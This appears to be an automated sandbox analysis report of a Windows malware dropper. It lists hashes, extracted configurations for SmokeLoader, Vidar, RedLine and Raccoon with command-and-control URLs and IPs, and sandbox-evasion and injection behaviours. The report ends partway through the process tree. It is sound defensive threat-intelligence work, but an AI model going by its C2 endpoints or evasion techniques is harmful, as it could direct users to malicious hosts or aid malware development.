Analysis
-
max time kernel
156s -
max time network
171s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
22-02-2022 08:17
Static task
static1
Behavioral task
behavioral1
Sample
2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe
Resource
win10v2004-en-20220112
General
-
Target
2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe
-
Size
3.1MB
-
MD5
e53b13791560b3ebe69111cd80875fcb
-
SHA1
39e253931b228ce4ba461dc63cbfdf69ff1f0b86
-
SHA256
2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266
-
SHA512
fd1677e49be790de35026d475d61b503e8bc4593ae84f9001134ce592024dc77104f83f9d3538bfd615569caecb10c8ad47c1c5d53019bde5b9ae051befc678b
Malware Config
Extracted
smokeloader
2020
http://ppcspb.com/upload/
http://mebbing.com/upload/
http://twcamel.com/upload/
http://howdycash.com/upload/
http://lahuertasonora.com/upload/
http://kpotiques.com/upload/
Extracted
vidar
39.4
706
https://sergeevih43.tumblr.com/
-
profile_id
706
Extracted
redline
DomAni2
flestriche.xyz:80
Extracted
raccoon
1c0fad6805a0f65d7b597130eb9f089ffbe9857d
-
url4cnc
http://194.180.191.241/capibar
http://103.155.93.35/capibar
https://t.me/capibar
Signatures
-
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 11 IoCs
Processes:
resource yara_rule behavioral2/memory/1596-200-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral2/memory/1936-241-0x0000000000570000-0x00000000007A1000-memory.dmp family_redline behavioral2/memory/1936-243-0x0000000000572000-0x00000000005A8000-memory.dmp family_redline behavioral2/memory/1936-255-0x0000000000570000-0x00000000007A1000-memory.dmp family_redline behavioral2/memory/1936-256-0x0000000000570000-0x00000000007A1000-memory.dmp family_redline behavioral2/memory/4448-287-0x00000000006E0000-0x0000000000873000-memory.dmp family_redline behavioral2/memory/4580-311-0x00000000008D0000-0x0000000000A92000-memory.dmp family_redline behavioral2/memory/4728-325-0x0000000000620000-0x00000000007AB000-memory.dmp family_redline behavioral2/memory/4812-330-0x0000000000620000-0x00000000007AB000-memory.dmp family_redline behavioral2/memory/4752-324-0x0000000000620000-0x00000000007AB000-memory.dmp family_redline behavioral2/memory/3780-349-0x0000000003D40000-0x0000000003D6F000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 9 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 3508 created 3528 3508 WerFault.exe setup_install.exe PID 1596 created 1972 1596 WerFault.exe sonia_3.exe PID 3048 created 2260 3048 WerFault.exe rUNdlL32.eXe PID 1668 created 3780 1668 WerFault.exe RXy_AKwEkuROW9UZ1HulPbEn.exe PID 3316 created 2372 3316 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe PID 3400 created 848 3400 WerFault.exe uGGdu1GeiBFoj3m8TIzVNL_t.exe PID 4040 created 3992 4040 WerFault.exe wNclYiAFy66INTKGZHTohiha.exe PID 4180 created 2372 4180 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe PID 4632 created 848 4632 WerFault.exe uGGdu1GeiBFoj3m8TIzVNL_t.exe -
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32.Raccoon Stealer - Telegram Mirror Checkin (generic)
suricata: ET MALWARE Win32.Raccoon Stealer - Telegram Mirror Checkin (generic)
-
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
OnlyLogger Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2372-230-0x0000000000400000-0x0000000000447000-memory.dmp family_onlylogger behavioral2/memory/2372-229-0x00000000035D0000-0x0000000003614000-memory.dmp family_onlylogger -
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1972-198-0x0000000004990000-0x0000000004A2D000-memory.dmp family_vidar behavioral2/memory/1972-199-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\setup_install.exe aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS476B981E\libcurl.dll aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 30 IoCs
Processes:
setup_installer.exesetup_install.exesonia_1.exesonia_7.exesonia_4.exesonia_6.exesonia_2.exesonia_3.exesonia_5.exejfiag3g_gg.exejfiag3g_gg.exesonia_7.exe6eB3jvGJdXHMXfaJLasGTnMA.exeWkRSYWZs_nsk93jztaccZUCL.exeg15YrKjyBR3FHTfv5u1FeAk8.exeRXy_AKwEkuROW9UZ1HulPbEn.exehGMMMaWaMSuXdEIvPmtA_Dx8.exe63XbTYk2jGOIgfVjHC15oxUj.exeuhlz0AYJxqwbsLL3oILLWDoQ.exeXAlGMZl0gKk6VeKSJK6m1iPe.exeZnHhG3xiQplDoR9vRgEv24rb.exeQ6BWNpRLfloaqTQIHTQbm_Jx.exewNclYiAFy66INTKGZHTohiha.exehGMMMaWaMSuXdEIvPmtA_Dx8.exeuGGdu1GeiBFoj3m8TIzVNL_t.exeW4kZy33sEanmTeF90IZwtYBD.exeInstall.exeInstall.exe81LHI.exeF1M81.exepid process 1652 setup_installer.exe 3528 setup_install.exe 3436 sonia_1.exe 1528 sonia_7.exe 3360 sonia_4.exe 2172 sonia_6.exe 2520 sonia_2.exe 1972 sonia_3.exe 1476 sonia_5.exe 2644 jfiag3g_gg.exe 1976 jfiag3g_gg.exe 1596 sonia_7.exe 2372 6eB3jvGJdXHMXfaJLasGTnMA.exe 3564 WkRSYWZs_nsk93jztaccZUCL.exe 3200 g15YrKjyBR3FHTfv5u1FeAk8.exe 3780 RXy_AKwEkuROW9UZ1HulPbEn.exe 616 hGMMMaWaMSuXdEIvPmtA_Dx8.exe 1784 63XbTYk2jGOIgfVjHC15oxUj.exe 2080 uhlz0AYJxqwbsLL3oILLWDoQ.exe 1936 XAlGMZl0gKk6VeKSJK6m1iPe.exe 1364 ZnHhG3xiQplDoR9vRgEv24rb.exe 3620 Q6BWNpRLfloaqTQIHTQbm_Jx.exe 3992 wNclYiAFy66INTKGZHTohiha.exe 3696 hGMMMaWaMSuXdEIvPmtA_Dx8.exe 848 uGGdu1GeiBFoj3m8TIzVNL_t.exe 1840 W4kZy33sEanmTeF90IZwtYBD.exe 4236 Install.exe 4304 Install.exe 4448 81LHI.exe 4580 F1M81.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\Documents\ZnHhG3xiQplDoR9vRgEv24rb.exe upx C:\Users\Admin\Documents\ZnHhG3xiQplDoR9vRgEv24rb.exe upx -
Checks BIOS information in registry 2 TTPs 3 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Q6BWNpRLfloaqTQIHTQbm_Jx.exeInstall.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Q6BWNpRLfloaqTQIHTQbm_Jx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Q6BWNpRLfloaqTQIHTQbm_Jx.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
setup_installer.exesonia_1.exesonia_6.exe2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation setup_installer.exe Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation sonia_1.exe Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation sonia_6.exe Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation 2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe -
Loads dropped DLL 8 IoCs
Processes:
setup_install.exesonia_2.exerUNdlL32.eXepid process 3528 setup_install.exe 3528 setup_install.exe 3528 setup_install.exe 3528 setup_install.exe 3528 setup_install.exe 3528 setup_install.exe 2520 sonia_2.exe 2260 rUNdlL32.eXe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\Q6BWNpRLfloaqTQIHTQbm_Jx.exe themida C:\Users\Admin\Documents\Q6BWNpRLfloaqTQIHTQbm_Jx.exe themida behavioral2/memory/3620-259-0x0000000000040000-0x0000000000403000-memory.dmp themida behavioral2/memory/3620-284-0x0000000000040000-0x0000000000403000-memory.dmp themida -
Processes:
Q6BWNpRLfloaqTQIHTQbm_Jx.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Q6BWNpRLfloaqTQIHTQbm_Jx.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 45 ip-api.com 115 ipinfo.io 116 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
XAlGMZl0gKk6VeKSJK6m1iPe.exeQ6BWNpRLfloaqTQIHTQbm_Jx.exe81LHI.exeF1M81.exepid process 1936 XAlGMZl0gKk6VeKSJK6m1iPe.exe 3620 Q6BWNpRLfloaqTQIHTQbm_Jx.exe 4448 81LHI.exe 4580 F1M81.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
sonia_7.exehGMMMaWaMSuXdEIvPmtA_Dx8.exedescription pid process target process PID 1528 set thread context of 1596 1528 sonia_7.exe sonia_7.exe PID 616 set thread context of 3696 616 hGMMMaWaMSuXdEIvPmtA_Dx8.exe hGMMMaWaMSuXdEIvPmtA_Dx8.exe -
Drops file in Windows directory 1 IoCs
Processes:
WerFault.exedescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 13 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2568 3528 WerFault.exe setup_install.exe 3372 1972 WerFault.exe sonia_3.exe 1420 3528 WerFault.exe setup_install.exe 308 2260 WerFault.exe rUNdlL32.eXe 372 3780 WerFault.exe RXy_AKwEkuROW9UZ1HulPbEn.exe 1536 2372 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe 4108 848 WerFault.exe uGGdu1GeiBFoj3m8TIzVNL_t.exe 4188 3992 WerFault.exe wNclYiAFy66INTKGZHTohiha.exe 4216 2372 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe 4656 848 WerFault.exe uGGdu1GeiBFoj3m8TIzVNL_t.exe 5040 3992 WerFault.exe wNclYiAFy66INTKGZHTohiha.exe 640 2372 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe 3728 2372 WerFault.exe 6eB3jvGJdXHMXfaJLasGTnMA.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
sonia_2.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe -
Checks processor information in registry 2 TTPs 20 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exeMusNotifyIcon.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MusNotifyIcon.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz MusNotifyIcon.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Enumerates system info in registry 2 TTPs 14 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeInstall.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Modifies data under HKEY_USERS 5 IoCs
Processes:
svchost.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1" svchost.exe -
Modifies registry class 1 IoCs
Processes:
sonia_1.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ sonia_1.exe -
Processes:
sonia_3.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e sonia_3.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 sonia_3.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
sonia_2.exepid process 2520 sonia_2.exe 2520 sonia_2.exe 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 2492 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2492 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
sonia_2.exepid process 2520 sonia_2.exe -
Suspicious use of AdjustPrivilegeToken 36 IoCs
Processes:
sonia_5.exeWerFault.exedescription pid process Token: SeDebugPrivilege 1476 sonia_5.exe Token: SeRestorePrivilege 2568 WerFault.exe Token: SeBackupPrivilege 2568 WerFault.exe Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeRestorePrivilege 2568 WerFault.exe Token: SeBackupPrivilege 2568 WerFault.exe Token: SeBackupPrivilege 2568 WerFault.exe Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 Token: SeShutdownPrivilege 2492 Token: SeCreatePagefilePrivilege 2492 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_4.exeWerFault.exeWerFault.exesonia_1.exeWerFault.exedescription pid process target process PID 1364 wrote to memory of 1652 1364 2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe setup_installer.exe PID 1364 wrote to memory of 1652 1364 2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe setup_installer.exe PID 1364 wrote to memory of 1652 1364 2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe setup_installer.exe PID 1652 wrote to memory of 3528 1652 setup_installer.exe setup_install.exe PID 1652 wrote to memory of 3528 1652 setup_installer.exe setup_install.exe PID 1652 wrote to memory of 3528 1652 setup_installer.exe setup_install.exe PID 3528 wrote to memory of 1604 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 1604 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 1604 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3752 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3752 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3752 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2684 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2684 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2684 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3336 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3336 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3336 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3860 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3860 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3860 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3808 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3808 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 3808 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2632 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2632 3528 setup_install.exe cmd.exe PID 3528 wrote to memory of 2632 3528 setup_install.exe cmd.exe PID 1604 wrote to memory of 3436 1604 cmd.exe sonia_1.exe PID 1604 wrote to memory of 3436 1604 cmd.exe sonia_1.exe PID 1604 wrote to memory of 3436 1604 cmd.exe sonia_1.exe PID 2632 wrote to memory of 1528 2632 cmd.exe sonia_7.exe PID 2632 wrote to memory of 1528 2632 cmd.exe sonia_7.exe PID 2632 wrote to memory of 1528 2632 cmd.exe sonia_7.exe PID 3336 wrote to memory of 3360 3336 cmd.exe sonia_4.exe PID 3336 wrote to memory of 3360 3336 cmd.exe sonia_4.exe PID 3336 wrote to memory of 3360 3336 cmd.exe sonia_4.exe PID 3808 wrote to memory of 2172 3808 cmd.exe sonia_6.exe PID 3808 wrote to memory of 2172 3808 cmd.exe sonia_6.exe PID 3808 wrote to memory of 2172 3808 cmd.exe sonia_6.exe PID 3752 wrote to memory of 2520 3752 cmd.exe sonia_2.exe PID 3752 wrote to memory of 2520 3752 cmd.exe sonia_2.exe PID 3752 wrote to memory of 2520 3752 cmd.exe sonia_2.exe PID 2684 wrote to memory of 1972 2684 cmd.exe sonia_3.exe PID 2684 wrote to memory of 1972 2684 cmd.exe sonia_3.exe PID 2684 wrote to memory of 1972 2684 cmd.exe sonia_3.exe PID 3860 wrote to memory of 1476 3860 cmd.exe sonia_5.exe PID 3860 wrote to memory of 1476 3860 cmd.exe sonia_5.exe PID 3360 wrote to memory of 2644 3360 sonia_4.exe jfiag3g_gg.exe PID 3360 wrote to memory of 2644 3360 sonia_4.exe jfiag3g_gg.exe PID 3360 wrote to memory of 2644 3360 sonia_4.exe jfiag3g_gg.exe PID 3508 wrote to memory of 3528 3508 WerFault.exe setup_install.exe PID 3508 wrote to memory of 3528 3508 WerFault.exe setup_install.exe PID 3360 wrote to memory of 1976 3360 sonia_4.exe jfiag3g_gg.exe PID 3360 wrote to memory of 1976 3360 sonia_4.exe jfiag3g_gg.exe PID 3360 wrote to memory of 1976 3360 sonia_4.exe jfiag3g_gg.exe PID 3528 wrote to memory of 2568 3528 setup_install.exe WerFault.exe PID 3528 wrote to memory of 2568 3528 setup_install.exe WerFault.exe PID 3528 wrote to memory of 2568 3528 setup_install.exe WerFault.exe PID 1596 wrote to memory of 1972 1596 WerFault.exe sonia_3.exe PID 1596 wrote to memory of 1972 1596 WerFault.exe sonia_3.exe PID 3436 wrote to memory of 2260 3436 sonia_1.exe rUNdlL32.eXe PID 3436 wrote to memory of 2260 3436 sonia_1.exe rUNdlL32.eXe PID 3436 wrote to memory of 2260 3436 sonia_1.exe rUNdlL32.eXe PID 3048 wrote to memory of 2260 3048 WerFault.exe rUNdlL32.eXe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe"C:\Users\Admin\AppData\Local\Temp\2c5ff146c985f5cb35c0d05c33c8f723ed31ed955c189571be9e718d89662266.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
